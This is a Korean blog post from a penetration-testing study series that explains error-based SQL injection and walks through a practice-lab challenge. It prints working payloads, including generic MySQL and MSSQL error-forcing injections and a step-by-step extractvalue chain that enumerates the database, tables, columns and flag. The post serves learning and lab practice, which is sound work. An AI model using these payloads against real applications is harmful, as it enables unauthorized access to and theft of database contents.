[모의해킹 스터디] 7주차 Error Based SQL Injection

바울·2024년 12월 4일
0

모의해킹 스터디

목록 보기
16/40

Error Based SQL Injection?

Error Based SQL Injection은 데이터베이스에서 반환되는 에러 메시지를 활용하여 정보(예: 데이터베이스 이름, 테이블 구조 등)를 획득하는 공격 기법입니다. 공격자는 의도적으로 잘못된 쿼리를 보내 에러를 유발하고, 에러 메시지를 분석해 정보를 추출합니다.


Error Based SQL Injection 작동 원리

  1. 에러 유도: 공격자는 의도적으로 잘못된 SQL 쿼리를 삽입하여 에러를 발생시킵니다.
' OR 1=1 --
  1. 에러 메시지 활용: 데이터베이스는 쿼리 처리 중 오류가 발생하면 자세한 에러 메시지를 반환할 수 있습니다. 이 메시지에는 데이터베이스 구조나 테이블 정보와 같은 중요한 정보가 포함될 수 있습니다.

Error Based SQL Injection 공격 기법

  1. 숫자 변환 에러 이용: 숫자로 변환할 수 없는 데이터를 삽입하여 에러를 유발합니다.
' AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS INT) --
  1. 잘못된 함수 호출: 존재하지 않는 함수나 잘못된 매개변수를 사용하여 에러를 유도합니다.
' AND EXP(~(SELECT * FROM (SELECT user())x)) --
  1. 일부 데이터베이스 함수 사용:
  • MySQL의 경우: extractvalue() 또는 updatexml()을 사용하여 XML 파싱 오류를 유도합니다.
' AND updatexml(null, concat(0x3a, (SELECT database())), null) --
  • MSSQL의 경우: convert() 함수를 이용해 데이터 변환 오류를 유발합니다.
' AND 1=convert(int, (SELECT name FROM sys.tables)) --

Error Based SQL Injection Process

앞서 알아본 Error Based SQL Injection을 수행하는 과정에 대해 문제를 풀면서 알아보고자 한다.

SQL Injection 포인트 찾기

존재하는 아이디일 경우 존재하는 아이디입니다.라는 문구가 나오고 아닐 경우 존재하지 않는 아이디입니다.라고 나오는 사이트이다. 항등원 조건을 사용해 쿼리가 정상적으로 수행되는 걸 알 수 있다.

select문 실행 가능 여부 확인

존재하는 아이디라고 나오는 걸로 보아 select 문이 정상적으로 동작한 걸 알 수 있다.

공격 format 만들기

잘못된 문법을 작성 시 syntax 에러가 나오는 것을 볼 수 있다. 하지만 syntax 에러는 결국 실행이 안돼서 우리가 작성한 쿼리를 실행을 못할 것이다. 그러면 우리는 문법은 정확하지만 로직에서 에러를 내서 화면에 출력하는 방법을 찾아야 된다. 그 방법 중에 하나가 extractvalue 함수를 활용하는 것이다. 물론 DB마다 사용하는 함수는 다르다. 해당 사이트가 어떤 종류의 DB를 사용하는지 알아내는 것도 중요하다.

normaltic' and extractvalue('1', concat(0x3a,(select 'bawool'))) and '1'='1

해당 코드를 입력해 보면

extractvalue 함수는 잘못된 XPath를 전달받으면 에러를 반환하기 때문에 이러한 점을 이용해서 내가 원하는 값을 넣어 데이터를 추출할 수 있다. 이제 기존 union injection과 같이 db, table, column 순서대로 데이터를 찾아내면 된다.

DB 이름 찾기

normaltic' and extractvalue('1', concat(0x3a,(select database()))) and '1'='1

기존 db를 보는 쿼리 database()를 사용해서 db 이름을 알아냈다.

Table 이름 찾기

normaltic' and extractvalue('1', concat(0x3a,(select table_name from information_schema.tables where table_schema = 'errSqli'))) and '1'='1

해당 쿼리의 결과가 한 개 이상의 row를 반환하기 때문에 에러가 발생한 것으로 보인다. limit을 사용해 하나의 행만 반환해 보자.

normaltic' and extractvalue('1', concat(0x3a,(select table_name from information_schema.tables where table_schema = 'errSqli' limit 0,1))) and '1'='1

총 3개의 table을 확인할 수 있다. flag를 찾는 게 목적이기 때문에 제일 의심스러운 flagtable부터 확인해 보도록 하자.

Column 이름 찾기

normaltic' and extractvalue('1', concat(0x3a,(select column_name from information_schema.columns where table_name = 'flagTable' limit 0,1))) and '1'='1

2개의 column을 확인할 수 있다. 의심스러운 flag 컬럼 데이터를 확인해 보자!

Data 추출하기

normaltic' and extractvalue('1', concat(0x3a,(select flag from flagTable))) and '1'='1

flag를 찾을 수 있다! 기존 union sql injection과 큰 차이점은 없기 때문에 큰 어려움 없이 진행할 수 있었던 거 같다!

0개의 댓글